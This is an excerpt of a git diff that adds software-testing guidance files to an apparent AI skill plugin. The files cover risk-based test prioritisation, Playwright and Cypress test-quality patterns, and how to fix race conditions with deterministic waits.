+  revenueImpact: 'critical' | 'high' | 'medium' | 'low' | 'none';
+  userImpact: 'all' | 'majority' | 'some' | 'few' | 'minimal';
+  securityRisk: boolean;
+  complianceRequired: boolean;
+  previousFailure: boolean;
+  complexity: 'high' | 'medium' | 'low';
+  usage: 'frequent' | 'regular' | 'occasional' | 'rare';
+};
+
+/**
+ * Calculate test priority based on multiple factors
+ * Mirrors the priority decision tree with objective criteria
+ */
+export function calculatePriority(factors: PriorityFactors): Priority {
+  const { revenueImpact, userImpact, securityRisk, complianceRequired, previousFailure, complexity, usage } = factors;
+
+  // P0: Revenue-critical, security, or compliance
+  if (revenueImpact === 'critical' || securityRisk || complianceRequired || (previousFailure && revenueImpact === 'high')) {
+    return 'P0';
+  }
+
+  // P0: High revenue + high complexity + frequent usage
+  if (revenueImpact === 'high' && complexity === 'high' && usage === 'frequent') {
+    return 'P0';
+  }
+
+  // P1: Core user journey (majority impacted + frequent usage)
+  if (userImpact === 'all' || userImpact === 'majority') {
+    if (usage === 'frequent' || complexity === 'high') {
+      return 'P1';
+    }
+  }
+
+  // P1: High revenue OR high complexity with regular usage
+  if ((revenueImpact === 'high' && usage === 'regular') || (complexity === 'high' && usage === 'frequent')) {
+    return 'P1';
+  }
+
+  // P2: Secondary features (some impact, occasional usage)
+  if (userImpact === 'some' || usage === 'occasional') {
+    return 'P2';
+  }
+
+  // P3: Rarely used, low impact
+  return 'P3';
+}
+
+/**
+ * Generate priority justification (for audit trail)
+ */
+export function justifyPriority(factors: PriorityFactors): string {
+  const priority = calculatePriority(factors);
+  const reasons: string[] = [];
+
+  if (factors.revenueImpact === 'critical') reasons.push('critical revenue impact');
+  if (factors.securityRisk) reasons.push('security-critical');
+  if (factors.complianceRequired) reasons.push('compliance requirement');
+  if (factors.previousFailure) reasons.push('regression prevention');
+  if (factors.userImpact === 'all' || factors.userImpact === 'majority') {
+    reasons.push(`impacts ${factors.userImpact} users`);
+  }
+  if (factors.complexity === 'high') reasons.push('high complexity');
+  if (factors.usage === 'frequent') reasons.push('frequently used');
+
+  return `${priority}: ${reasons.join(', ')}`;
+}
+
+/**
+ * Example: Payment scenario priority calculation
+ */
+const paymentScenario: PriorityFactors = {
+  revenueImpact: 'critical',
+  userImpact: 'all',
+  securityRisk: true,
+  complianceRequired: true,
+  previousFailure: false,
+  complexity: 'high',
+  usage: 'frequent',
+};
+
+console.log(calculatePriority(paymentScenario)); // 'P0'
+console.log(justifyPriority(paymentScenario));
+// 'P0: critical revenue impact, security-critical, compliance requirement, impacts all users, high complexity, frequently used'
+```
+
+### Example: Test Suite Tagging Strategy
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+// Tag tests with priority for selective execution
+test.describe('Checkout Flow', () => {
+  test('valid payment completes successfully @p0 @smoke @revenue', async ({ page }) => {
+    // P0: Revenue-critical happy path
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Order confirmed')).toBeVisible();
+  });
+
+  test('expired card shows user-friendly error @p1 @error-handling', async ({ page }) => {
+    // P1: Core error scenario (frequent user impact)
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4000000000000069'); // Test card: expired
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Card expired. Please use a different card.')).toBeVisible();
+  });
+
+  test('coupon code applies discount correctly @p2', async ({ page }) => {
+    // P2: Secondary feature (nice-to-have)
+    await page.goto('/checkout');
+    await page.getByTestId('coupon-code').fill('SAVE10');
+    await page.getByRole('button', { name: 'Apply' }).click();
+
+    await expect(page.getByText('10% discount applied')).toBeVisible();
+  });
+
+  test('gift message formatting preserved @p3', async ({ page }) => {
+    // P3: Cosmetic feature (rarely used)
+    await page.goto('/checkout');
+    await page.getByTestId('gift-message').fill('Happy Birthday!\n\nWith love.');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Message formatting preserved (linebreaks intact)
+    await expect(page.getByTestId('order-summary')).toContainText('Happy Birthday!');
+  });
+});
+```
+
+**Run tests by priority:**
+
+```bash
+# P0 only (smoke tests, 2-5 min)
+npx playwright test --grep @p0
+
+# P0 + P1 (core functionality, 10-15 min)
+npx playwright test --grep "@p0|@p1"
+
+# Full regression (all priorities, 30+ min)
+npx playwright test
+```
+
+---
+
+## Integration with Risk Scoring
+
+Priority should align with risk score from `probability-impact.md`:
+
+| Risk Score | Typical Priority | Rationale                                  |
+| ---------- | ---------------- | ------------------------------------------ |
+| 9          | P0               | Critical blocker (probability=3, impact=3) |
+| 6-8        | P0 or P1         | High risk (requires mitigation)            |
+| 4-5        | P1 or P2         | Medium risk (monitor closely)              |
+| 1-3        | P2 or P3         | Low risk (document and defer)              |
+
+**Example**: Risk score 9 (checkout API failure) → P0 priority → comprehensive coverage required.
+
+---
+
+## Priority Checklist
+
+Before finalizing test priorities:
+
+- [ ] **Revenue impact assessed**: Payment, subscription, billing features → P0
+- [ ] **Security risks identified**: Auth, data exposure, injection attacks → P0
+- [ ] **Compliance requirements documented**: GDPR, PCI-DSS, SOC2 → P0
+- [ ] **User impact quantified**: >50% users → P0/P1, <10% → P2/P3
+- [ ] **Previous failures reviewed**: Regression prevention → increase priority
+- [ ] **Complexity evaluated**: >500 LOC or multiple dependencies → increase priority
+- [ ] **Usage metrics consulted**: Frequent use → P0/P1, rare use → P2/P3
+- [ ] **Monitoring coverage confirmed**: Strong monitoring → can decrease priority
+- [ ] **Rollback capability verified**: Easy rollback → can decrease priority
+- [ ] **Priorities tagged in tests**: @p0, @p1, @p2, @p3 for selective execution
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (priority-based test generation), `*test-design` (scenario prioritization), `*trace` (coverage validation by priority)
+- **Related fragments**: `risk-governance.md` (risk scoring), `probability-impact.md` (impact assessment), `selective-testing.md` (tag-based execution)
+- **Tools**: Playwright/Cypress grep for tag filtering, CI scripts for priority-based execution
+
+_Source: Risk-based testing practices, test prioritization strategies, production incident analysis_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-quality.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-quality.md
new file mode 100644
index 0000000..ab62d91
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-quality.md
@@ -0,0 +1,664 @@
+# Test Quality Definition of Done
+
+## Principle
+
+Tests must be deterministic, isolated, explicit, focused, and fast. Every test should execute in under 1.5 minutes, contain fewer than 300 lines, avoid hard waits and conditionals, keep assertions visible in test bodies, and clean up after itself for parallel execution.
+
+## Rationale
+
+Quality tests provide reliable signal about application health. Flaky tests erode confidence and waste engineering time. Tests that use hard waits (`waitForTimeout(3000)`) are non-deterministic and slow. Tests with hidden assertions or conditional logic become unmaintainable. Large tests (>300 lines) are hard to understand and debug. Slow tests (>1.5 min) block CI pipelines. Self-cleaning tests prevent state pollution in parallel runs.
+
+## Pattern Examples
+
+### Example 1: Deterministic Test Pattern
+
+**Context**: When writing tests, eliminate all sources of non-determinism: hard waits, conditionals controlling flow, try-catch for flow control, and random data without seeds.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Non-deterministic test with conditionals and hard waits
+test('user can view dashboard - FLAKY', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // NEVER - arbitrary wait
+
+  // Conditional flow control - test behavior varies
+  if (await page.locator('[data-testid="welcome-banner"]').isVisible()) {
+    await page.click('[data-testid="dismiss-banner"]');
+    await page.waitForTimeout(500);
+  }
+
+  // Try-catch for flow control - hides real issues
+  try {
+    await page.click('[data-testid="load-more"]');
+  } catch (e) {
+    // Silently continue - test passes even if button missing
+  }
+
+  // Random data without control
+  const randomEmail = `user${Math.random()}@example.com`;
+  await expect(page.getByText(randomEmail)).toBeVisible(); // Will fail randomly
+});
+
+// ✅ GOOD: Deterministic test with explicit waits
+test('user can view dashboard', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+  // Setup via API (fast, controlled)
+  await apiRequest.post('/api/users', { data: user });
+
+  // Network-first: Intercept BEFORE navigate
+  const dashboardPromise = page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+
+  // Wait for actual response, not arbitrary time
+  const dashboardResponse = await dashboardPromise;
+  const dashboard = await dashboardResponse.json();
+
+  // Explicit assertions with controlled data
+  await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+  await expect(page.getByTestId('dashboard-items')).toHaveCount(dashboard.items.length);
+
+  // No conditionals - test always executes same path
+  // No try-catch - failures bubble up clearly
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display user dashboard', () => {
+    const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+    // Setup via task (fast, controlled)
+    cy.task('db:seed', { users: [user] });
+
+    // Network-first interception
+    cy.intercept('GET', '**/api/dashboard').as('getDashboard');
+
+    cy.visit('/dashboard');
+
+    // Deterministic wait for response
+    cy.wait('@getDashboard').then((interception) => {
+      const dashboard = interception.response.body;
+
+      // Explicit assertions
+      cy.contains(`Welcome, ${user.name}`).should('be.visible');
+      cy.get('[data-cy="dashboard-items"]').should('have.length', dashboard.items.length);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Replace `waitForTimeout()` with `waitForResponse()` or element state checks
+- Never use if/else to control test flow - tests should be deterministic
+- Avoid try-catch for flow control - let failures bubble up clearly
+- Use factory functions with controlled data, not `Math.random()`
+- Network-first pattern prevents race conditions
+
+### Example 2: Isolated Test with Cleanup
+
+**Context**: When tests create data, they must clean up after themselves to prevent state pollution in parallel runs. Use fixture auto-cleanup or explicit teardown.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Test leaves data behind, pollutes other tests
+test('admin can create user - POLLUTES STATE', async ({ page, apiRequest }) => {
+  await page.goto('/admin/users');
+
+  // Hardcoded email - collides in parallel runs
+  await page.fill('[data-testid="email"]', 'newuser@example.com');
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // NO CLEANUP - user remains in database
+  // Next test run fails: "Email already exists"
+});
+
+// ✅ GOOD: Test cleans up with fixture auto-cleanup
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { deleteRecord, seedDatabase } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id); // Track for cleanup
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+});
+
+// Use the fixture
+test('admin can create user', async ({ page, seedUser }) => {
+  // Create admin with unique data
+  const admin = await seedUser({
+    email: faker.internet.email(), // Unique each run
+    role: 'admin',
+  });
+
+  await page.goto('/admin/users');
+
+  const newUserEmail = faker.internet.email(); // Unique
+  await page.fill('[data-testid="email"]', newUserEmail);
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // Verify in database
+  const createdUser = await seedUser({ email: newUserEmail });
+  expect(createdUser.email).toBe(newUserEmail);
+
+  // Auto-cleanup happens via fixture teardown
+});
+
+// Cypress equivalent with explicit cleanup
+describe('Admin User Management', () => {
+  const createdUserIds: string[] = [];
+
+  afterEach(() => {
+    // Cleanup: Delete all users created during test
+    createdUserIds.forEach((userId) => {
+      cy.task('db:delete', { table: 'users', id: userId });
+    });
+    createdUserIds.length = 0;
+  });
+
+  it('should create user', () => {
+    const admin = createUser({ role: 'admin' });
+    const newUser = createUser(); // Unique data via faker
+
+    cy.task('db:seed', { users: [admin] }).then((result: any) => {
+      createdUserIds.push(result.users[0].id);
+    });
+
+    cy.visit('/admin/users');
+    cy.get('[data-cy="email"]').type(newUser.email);
+    cy.get('[data-cy="name"]').type(newUser.name);
+    cy.get('[data-cy="create-user"]').click();
+
+    cy.contains('User created').should('be.visible');
+
+    // Track for cleanup
+    cy.task('db:findByEmail', newUser.email).then((user: any) => {
+      createdUserIds.push(user.id);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Use fixtures with auto-cleanup via teardown (after `use()`)
+- Track all created resources in array during test execution
+- Use `faker` for unique data - prevents parallel collisions
+- Cypress: Use `afterEach()` with explicit cleanup
+- Never hardcode IDs or emails - always generate unique values
+
+### Example 3: Explicit Assertions in Tests
+
+**Context**: When validating test results, keep assertions visible in test bodies. Never hide assertions in helper functions - this obscures test intent and makes failures harder to diagnose.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Assertions hidden in helper functions
+// helpers/api-validators.ts
+export async function validateUserCreation(response: Response, expectedEmail: string) {
+  const user = await response.json();
+  expect(response.status()).toBe(201);
+  expect(user.email).toBe(expectedEmail);
+  expect(user.id).toBeTruthy();
+  expect(user.createdAt).toBeTruthy();
+  // Hidden assertions - not visible in test
+}
+
+test('create user via API - OPAQUE', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // What assertions are running? Have to check helper.
+  await validateUserCreation(response, userData.email);
+  // When this fails, error is: "validateUserCreation failed" - NOT helpful
+});
+
+// ✅ GOOD: Assertions explicit in test
+test('create user via API', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // All assertions visible - clear test intent
+  expect(response.status()).toBe(201);
+
+  const createdUser = await response.json();
+  expect(createdUser.id).toBeTruthy();
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.name).toBe(userData.name);
+  expect(createdUser.role).toBe('user');
+  expect(createdUser.createdAt).toBeTruthy();
+  expect(createdUser.isActive).toBe(true);
+
+  // When this fails, error is: "Expected role to be 'user', got 'admin'" - HELPFUL
+});
+
+// ✅ ACCEPTABLE: Helper for data extraction, NOT assertions
+// helpers/api-extractors.ts
+export async function extractUserFromResponse(response: Response): Promise<User> {
+  const user = await response.json();
+  return user; // Just extracts, no assertions
+}
+
+test('create user with extraction helper', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // Extract data with helper (OK)
+  const createdUser = await extractUserFromResponse(response);
+
+  // But keep assertions in test (REQUIRED)
+  expect(response.status()).toBe(201);
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.role).toBe('user');
+});
+
+// Cypress equivalent
+describe('User API', () => {
+  it('should create user with explicit assertions', () => {
+    const userData = createUser({ email: 'test@example.com' });
+
+    cy.request('POST', '/api/users', userData).then((response) => {
+      // All assertions visible in test
+      expect(response.status).to.equal(201);
+      expect(response.body.id).to.exist;
+      expect(response.body.email).to.equal(userData.email);
+      expect(response.body.name).to.equal(userData.name);
+      expect(response.body.role).to.equal('user');
+      expect(response.body.createdAt).to.exist;
+      expect(response.body.isActive).to.be.true;
+    });
+  });
+});
+
+// ✅ GOOD: Parametrized tests for soft assertions (bulk validation)
+test.describe('User creation validation', () => {
+  const testCases = [
+    { field: 'email', value: 'test@example.com', expected: 'test@example.com' },
+    { field: 'name', value: 'Test User', expected: 'Test User' },
+    { field: 'role', value: 'admin', expected: 'admin' },
+    { field: 'isActive', value: true, expected: true },
+  ];
+
+  for (const { field, value, expected } of testCases) {
+    test(`should set ${field} correctly`, async ({ request }) => {
+      const userData = createUser({ [field]: value });
+
+      const response = await request.post('/api/users', { data: userData });
+      const user = await response.json();
+
+      // Parametrized assertion - still explicit
+      expect(user[field]).toBe(expected);
+    });
+  }
+});
+```
+
+**Key Points**:
+
+- Never hide `expect()` calls in helper functions
+- Helpers can extract/transform data, but assertions stay in tests
+- Parametrized tests are acceptable for bulk validation (still explicit)
+- Explicit assertions make failures actionable: "Expected X, got Y"
+- Hidden assertions produce vague failures: "Helper function failed"
+
+### Example 4: Test Length Limits
+
+**Context**: When tests grow beyond 300 lines, they become hard to understand, debug, and maintain. Refactor long tests by extracting setup helpers, splitting scenarios, or using fixtures.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 400-line monolithic test (truncated for example)
+test('complete user journey - TOO LONG', async ({ page, request }) => {
+  // 50 lines of setup
+  const admin = createUser({ role: 'admin' });
+  await request.post('/api/users', { data: admin });
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+  await expect(page).toHaveURL('/dashboard');
+
+  // 100 lines of user creation
+  await page.goto('/admin/users');
+  const newUser = createUser();
+  await page.fill('[data-testid="email"]', newUser.email);
+  // ... 95 more lines of form filling, validation, etc.
+
+  // 100 lines of permissions assignment
+  await page.click('[data-testid="assign-permissions"]');
+  // ... 95 more lines
+
+  // 100 lines of notification preferences
+  await page.click('[data-testid="notification-settings"]');
+  // ... 95 more lines
+
+  // 50 lines of cleanup
+  await request.delete(`/api/users/${newUser.id}`);
+  // ... 45 more lines
+
+  // TOTAL: 400 lines - impossible to understand or debug
+});
+
+// ✅ GOOD: Split into focused tests with shared fixture
+// playwright/support/fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page, request }, use) => {
+    // Shared setup: Login as admin
+    const admin = createUser({ role: 'admin' });
+    await request.post('/api/users', { data: admin });
+
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', admin.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login"]');
+    await expect(page).toHaveURL('/dashboard');
+
+    await use(page); // Provide logged-in page
+
+    // Cleanup handled by fixture
+  },
+});
+
+// Test 1: User creation (50 lines)
+test('admin can create user', async ({ adminPage, seedUser }) => {
+  await adminPage.goto('/admin/users');
+
+  const newUser = createUser();
+  await adminPage.fill('[data-testid="email"]', newUser.email);
+  await adminPage.fill('[data-testid="name"]', newUser.name);
+  await adminPage.click('[data-testid="role-dropdown"]');
+  await adminPage.click('[data-testid="role-user"]');
+  await adminPage.click('[data-testid="create-user"]');
+
+  await expect(adminPage.getByText('User created')).toBeVisible();
+  await expect(adminPage.getByText(newUser.email)).toBeVisible();
+
+  // Verify in database
+  const created = await seedUser({ email: newUser.email });
+  expect(created.role).toBe('user');
+});
+
+// Test 2: Permission assignment (60 lines)
+test('admin can assign permissions', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}`);
+  await adminPage.click('[data-testid="assign-permissions"]');
+  await adminPage.check('[data-testid="permission-read"]');
+  await adminPage.check('[data-testid="permission-write"]');
+  await adminPage.click('[data-testid="save-permissions"]');
+
+  await expect(adminPage.getByText('Permissions updated')).toBeVisible();
+
+  // Verify permissions assigned
+  const response = await adminPage.request.get(`/api/users/${user.id}`);
+  const updated = await response.json();
+  expect(updated.permissions).toContain('read');
+  expect(updated.permissions).toContain('write');
+});
+
+// Test 3: Notification preferences (70 lines)
+test('admin can update notification preferences', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}/notifications`);
+  await adminPage.check('[data-testid="email-notifications"]');
+  await adminPage.uncheck('[data-testid="sms-notifications"]');
+  await adminPage.selectOption('[data-testid="frequency"]', 'daily');
+  await adminPage.click('[data-testid="save-preferences"]');
+
+  await expect(adminPage.getByText('Preferences saved')).toBeVisible();
+
+  // Verify preferences
+  const response = await adminPage.request.get(`/api/users/${user.id}/preferences`);
+  const prefs = await response.json();
+  expect(prefs.emailEnabled).toBe(true);
+  expect(prefs.smsEnabled).toBe(false);
+  expect(prefs.frequency).toBe('daily');
+});
+
+// TOTAL: 3 tests × 60 lines avg = 180 lines
+// Each test is focused, debuggable, and under 300 lines
+```
+
+**Key Points**:
+
+- Split monolithic tests into focused scenarios (<300 lines each)
+- Extract common setup into fixtures (auto-runs for each test)
+- Each test validates one concern (user creation, permissions, preferences)
+- Failures are easier to diagnose: "Permission assignment failed" vs "Complete journey failed"
+- Tests can run in parallel (isolated concerns)
+
+### Example 5: Execution Time Optimization
+
+**Context**: When tests take longer than 1.5 minutes, they slow CI pipelines and feedback loops. Optimize by using API setup instead of UI navigation, parallelizing independent operations, and avoiding unnecessary waits.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 4-minute test (slow setup, sequential operations)
+test('user completes order - SLOW (4 min)', async ({ page }) => {
+  // Step 1: Manual signup via UI (90 seconds)
+  await page.goto('/signup');
+  await page.fill('[data-testid="email"]', 'buyer@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.fill('[data-testid="confirm-password"]', 'password123');
+  await page.fill('[data-testid="name"]', 'Buyer User');
+  await page.click('[data-testid="signup"]');
+  await page.waitForURL('/verify-email'); // Wait for email verification
+  // ... manual email verification flow
+
+  // Step 2: Manual product creation via UI (60 seconds)
+  await page.goto('/admin/products');
+  await page.fill('[data-testid="product-name"]', 'Widget');
+  // ... 20 more fields
+  await page.click('[data-testid="create-product"]');
+
+  // Step 3: Navigate to checkout (30 seconds)
+  await page.goto('/products');
+  await page.waitForTimeout(5000); // Unnecessary hard wait
+  await page.click('[data-testid="product-widget"]');
+  await page.waitForTimeout(3000); // Unnecessary
+  await page.click('[data-testid="add-to-cart"]');
+  await page.waitForTimeout(2000); // Unnecessary
+
+  // Step 4: Complete checkout (40 seconds)
+  await page.goto('/checkout');
+  await page.waitForTimeout(5000); // Unnecessary
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  // ... more form filling
+  await page.click('[data-testid="submit-order"]');
+  await page.waitForTimeout(10000); // Unnecessary
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // TOTAL: ~240 seconds (4 minutes)
+});
+
+// ✅ GOOD: 45-second test (API setup, parallel ops, deterministic waits)
+test('user completes order', async ({ page, apiRequest }) => {
+  // Step 1: API setup (parallel, 5 seconds total)
+  const [user, product] = await Promise.all([
+    // Create user via API (fast)
+    apiRequest
+      .post('/api/users', {
+        data: createUser({
+          email: 'buyer@example.com',
+          emailVerified: true, // Skip verification
+        }),
+      })
+      .then((r) => r.json()),
+
+    // Create product via API (fast)
+    apiRequest
+      .post('/api/products', {
+        data: createProduct({
+          name: 'Widget',
+          price: 29.99,
+          stock: 10,
+        }),
+      })
+      .then((r) => r.json()),
+  ]);
+
+  // Step 2: Auth setup via storage state (instant, 0 seconds)
+  await page.context().addCookies([
+    {
+      name: 'auth_token',
+      value: user.token,
+      domain: 'localhost',
+      path: '/',
+    },
+  ]);
+
+  // Step 3: Network-first interception BEFORE navigation (10 seconds)
+  const cartPromise = page.waitForResponse('**/api/cart');
+  const orderPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto(`/products/${product.id}`);
+  await page.click('[data-testid="add-to-cart"]');
+  await cartPromise; // Deterministic wait (no hard wait)
+
+  // Step 4: Checkout with network waits (30 seconds)
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.fill('[data-testid="cvv"]', '123');
+  await page.fill('[data-testid="expiry"]', '12/25');
+  await page.click('[data-testid="submit-order"]');
+  await orderPromise; // Deterministic wait (no hard wait)
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText(`Order #${product.id}`)).toBeVisible();
+
+  // TOTAL: ~45 seconds (6x faster)
+});
+
+// Cypress equivalent
+describe('Order Flow', () => {
+  it('should complete purchase quickly', () => {
+    // Step 1: API setup (parallel, fast)
+    const user = createUser({ emailVerified: true });
+    const product = createProduct({ name: 'Widget', price: 29.99 });
+
+    cy.task('db:seed', { users: [user], products: [product] });
+
+    // Step 2: Auth setup via session (instant)
+    cy.setCookie('auth_token', user.token);
+
+    // Step 3: Network-first interception
+    cy.intercept('POST', '**/api/cart').as('addToCart');
+    cy.intercept('POST', '**/api/orders').as('createOrder');
+
+    cy.visit(`/products/${product.id}`);
+    cy.get('[data-cy="add-to-cart"]').click();
+    cy.wait('@addToCart'); // Deterministic wait
+
+    // Step 4: Checkout
+    cy.visit('/checkout');
+    cy.get('[data-cy="credit-card"]').type('4111111111111111');
+    cy.get('[data-cy="cvv"]').type('123');
+    cy.get('[data-cy="expiry"]').type('12/25');
+    cy.get('[data-cy="submit-order"]').click();
+    cy.wait('@createOrder'); // Deterministic wait
+
+    cy.contains('Order Confirmed').should('be.visible');
+    cy.contains(`Order #${product.id}`).should('be.visible');
+  });
+});
+
+// Additional optimization: Shared auth state (0 seconds per test)
+// playwright/support/global-setup.ts
+export default async function globalSetup() {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Create admin user once for all tests
+  const admin = createUser({ role: 'admin', emailVerified: true });
+  await page.request.post('/api/users', { data: admin });
+
+  // Login once, save session
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+
+  // Save auth state for reuse
+  await page.context().storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+// Use shared auth in tests (instant)
+test.use({ storageState: 'playwright/.auth/admin.json' });
+
+test('admin action', async ({ page }) => {
+  // Already logged in - no auth overhead (0 seconds)
+  await page.goto('/admin');
+  // ... test logic
+});
+```
+
+**Key Points**:
+
+- Use API for data setup (10-50x faster than UI)
+- Run independent operations in parallel (`Promise.all`)
+- Replace hard waits with deterministic waits (`waitForResponse`)
+- Reuse auth sessions via `storageState` (Playwright) or `setCookie` (Cypress)
+- Skip unnecessary flows (email verification, multi-step signups)
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation quality), `*automate` (test expansion quality), `*test-review` (quality validation)
+- **Related fragments**:
+  - `network-first.md` - Deterministic waiting strategies
+  - `data-factories.md` - Isolated, parallel-safe data patterns
+  - `fixture-architecture.md` - Setup extraction and cleanup
+  - `test-levels-framework.md` - Choosing appropriate test granularity for speed
+
+## Core Quality Checklist
+
+Every test must pass these criteria:
+
+- [ ] **No Hard Waits** - Use `waitForResponse`, `waitForLoadState`, or element state (not `waitForTimeout`)
+- [ ] **No Conditionals** - Tests execute the same path every time (no if/else, try/catch for flow control)
+- [ ] **< 300 Lines** - Keep tests focused; split large tests or extract setup to fixtures
+- [ ] **< 1.5 Minutes** - Optimize with API setup, parallel operations, and shared auth
+- [ ] **Self-Cleaning** - Use fixtures with auto-cleanup or explicit `afterEach()` teardown
+- [ ] **Explicit Assertions** - Keep `expect()` calls in test bodies, not hidden in helpers
+- [ ] **Unique Data** - Use `faker` for dynamic data; never hardcode IDs or emails
+- [ ] **Parallel-Safe** - Tests don't share state; run successfully with `--workers=4`
+
+_Source: Murat quality checklist, Definition of Done requirements (lines 370-381, 406-422)._
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/timing-debugging.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/timing-debugging.md
new file mode 100644
index 0000000..61ae919
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/timing-debugging.md
@@ -0,0 +1,372 @@
+# Timing Debugging and Race Condition Fixes
+
+## Principle
+
+Race conditions arise when tests make assumptions about asynchronous timing (network, animations, state updates). **Deterministic waiting** eliminates flakiness by explicitly waiting for observable events (network responses, element state changes) instead of arbitrary timeouts.
+
+## Rationale
+
+**The Problem**: Tests pass locally but fail in CI (different timing), or pass/fail randomly (race conditions). Hard waits (`waitForTimeout`, `sleep`) mask timing issues without solving them.
+
+**The Solution**: Replace all hard waits with event-based waits (`waitForResponse`, `waitFor({ state })`). Implement network-first pattern (intercept before navigate). Use explicit state checks (loading spinner detached, data loaded). This makes tests deterministic regardless of network speed or system load.
+
+**Why This Matters**:
+
+- Eliminates flaky tests (0 tolerance for timing-based failures)
+- Works consistently across environments (local, CI, production-like)
+- Faster test execution (no unnecessary waits)
+- Clearer test intent (explicit about what we're waiting for)
+
+## Pattern Examples
+
+### Example 1: Race Condition Identification (Network-First Pattern)
+
+**Context**: Prevent race conditions by intercepting network requests before navigation
+
+**Implementation**:
+
+```typescript
+// tests/timing/race-condition-prevention.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Race Condition Prevention Patterns', () => {
+  test('❌ Anti-Pattern: Navigate then intercept (race condition)', async ({ page, context }) => {
+    // BAD: Navigation starts before interception ready
+    await page.goto('/products'); // ⚠️ Race! API might load before route is set
+
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 200, body: JSON.stringify({ products: [] }) });
+    });
+
+    // Test may see real API response or mock (non-deterministic)
+  });
+
+  test('✅ Pattern: Intercept BEFORE navigate (deterministic)', async ({ page, context }) => {
+    // GOOD: Interception ready before navigation
+    await context.route('**/api/products', (route) => {
+      route.fulfill({
+        status: 200,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          products: [
+            { id: 1, name: 'Product A', price: 29.99 },
+            { id: 2, name: 'Product B', price: 49.99 },
+          ],
+        }),
+      });
+    });
+
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products'); // Navigation happens AFTER route is ready
+    await responsePromise; // Explicit wait for network
+
+    // Test sees mock response reliably (deterministic)
+    await expect(page.getByText('Product A')).toBeVisible();
+  });
+
+  test('✅ Pattern: Wait for element state change (loading → loaded)', async ({ page }) => {
+    await page.goto('/dashboard');
+
